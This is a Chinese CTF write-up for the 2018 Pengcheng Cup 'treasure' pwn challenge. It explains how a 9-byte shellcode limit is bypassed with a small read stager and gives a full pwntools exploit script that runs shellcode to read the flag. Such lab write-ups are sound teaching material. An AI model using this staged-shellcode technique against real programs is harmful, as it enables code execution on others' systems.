鹏城杯_2018_treasure

总结

根据本题,学习与收获有:

  • 算是很简单的shellcode的题,需要手写shellcode
  • 在写shellcode之前,可以先观察下寄存器状态,比如这题就可以很巧妙的去运用read的系统调用
  • 使用xchg交换两个寄存器的值,是一个很方便的指令

题目分析

checksec

image-20210815223050907

题目使用的环境为ubuntu-18.04

函数分析

settreasure

image-20210815223131763

流程为:

  • 申请两个大小为0x1000的匿名映射段
  • sea上拷贝了一段shellcode,但是拷贝的位置不可知,是随机的
  • data段上的shellcode给清零了
treasure

image-20210815223351747

主要流程为:

  • code段的权限改为rwx。这里虽然传入的是0xa,但是mprotect的改变权限的内存大小按照页对齐。

  • 允许写入9个字节的shellcode

  • 然后执行shellcode

利用思路

这里要写shellcode,但是只能写9个字节,所以写之前先打个断点看下寄存器的状态:

image-20210815223721925

观察一下:

  • rax0

  • rdi0

  • rdxcode+1

  • rsi0x400c2a

这个时候,交换一下rsirdx的值,然后再syscall,就是直接调用read,这个时候再写入比较长的shellcode然后再call rsi即可。那么只需要三条指令:xchg rdi, rdx; syscall; call rsi,肯定不会超过9字节啦。实测发现只有7个字节。

exp

调试过程

这里我选择填入cat /flagshellcode。需要注意的是,需要跳过前5个字节,调试过程如下:

触发read

image-20210815224254818

image-20210815224339912

写入shellcode读取flag

image-20210815224452008

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwncli import *

cli_script()

p:tube = gift['io']

p.sendlineafter("will you continue?(enter 'n' to quit) :", "y")

payload = asm("xchg rdx, rsi;syscall;call rsi")

p.sendafter("start!!!!", payload)

p.sendline(b"a"*5 + asm(shellcraft.cat("./flag")))

p.interactive()

最后远程打:

image-20210815224555329

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%